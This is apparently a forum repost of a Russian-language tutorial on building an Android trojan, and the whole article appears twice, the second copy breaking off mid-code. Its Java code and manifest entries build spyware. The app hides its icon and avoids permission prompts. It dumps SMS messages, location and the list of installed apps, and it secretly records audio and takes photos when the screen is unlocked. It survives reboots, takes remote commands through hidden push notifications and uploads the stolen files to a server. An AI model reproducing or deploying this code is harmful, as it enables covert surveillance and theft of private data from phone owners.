?ТЕКСТА МНОГО? ТЕРПЕНИЯ, ТОВАРИЩИ?
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут. Задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH??ss", Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case "address":
address = cursor.getString(idx);
break;
case "date":
date = cursor.getString(idx);
break;
case "body":
body = cursor.getString(idx);
}
}
if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println("Date: " + dateString);
if (body != null) {
pw.println("Body: " + body.replace('\n', ' '));
} else {
pw.println("Body: ");
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
dumpSMS(context, inboxFile, "inbox");
dumpSMS(context, sentFile, "sent");
Записи в файле будут выглядеть примерно так:
From: Google
Date: 2018.07.08 06:49:55
Body: G-@deepwebteam is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer interrupted");
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + "/audio-";
recordAudio(filePrefix + formatter.format(date) + ".mp4", 15);
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();
String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case "front":
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case "back":
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread("CameraBackground");
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
takePicture();
} catch (Exception e) {
Log.d(TAG, "Can't open camera: " + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
}
И добавьте в манифест следующие строки:
<receiver android:name="com.example.app.ScreenOnReceiver">
<intent-filter>
<action android:name="android.intent.action.ACTION_SCREEN_ON" />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = "Для просмотра ссылки Войдиили Зарегистрируйся"
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals("record")) {
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals("record")) {
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service
android:name="org.antrack.app.service.OSService"
android:exported="false">
<intent-filter>
<action android:name="com.onesignal.NotificationExtender" />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg");
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url("Для просмотра ссылки Войдиили Зарегистрируйся")
.post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?
Посмотреть вложение 3989
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут. Задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
- Запускаем сервис
- Отключаем Activtiy
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH??ss", Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case "address":
address = cursor.getString(idx);
break;
case "date":
date = cursor.getString(idx);
break;
case "body":
body = cursor.getString(idx);
}
}
if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println("Date: " + dateString);
if (body != null) {
pw.println("Body: " + body.replace('\n', ' '));
} else {
pw.println("Body: ");
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
- Сохраняем список всех полученных СМС
dumpSMS(context, inboxFile, "inbox");
- Сохраняем список отправленных СМС
dumpSMS(context, sentFile, "sent");
Записи в файле будут выглядеть примерно так:
From: Google
Date: 2018.07.08 06:49:55
Body: G-@deepwebteam is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer interrupted");
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + "/audio-";
recordAudio(filePrefix + formatter.format(date) + ".mp4", 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
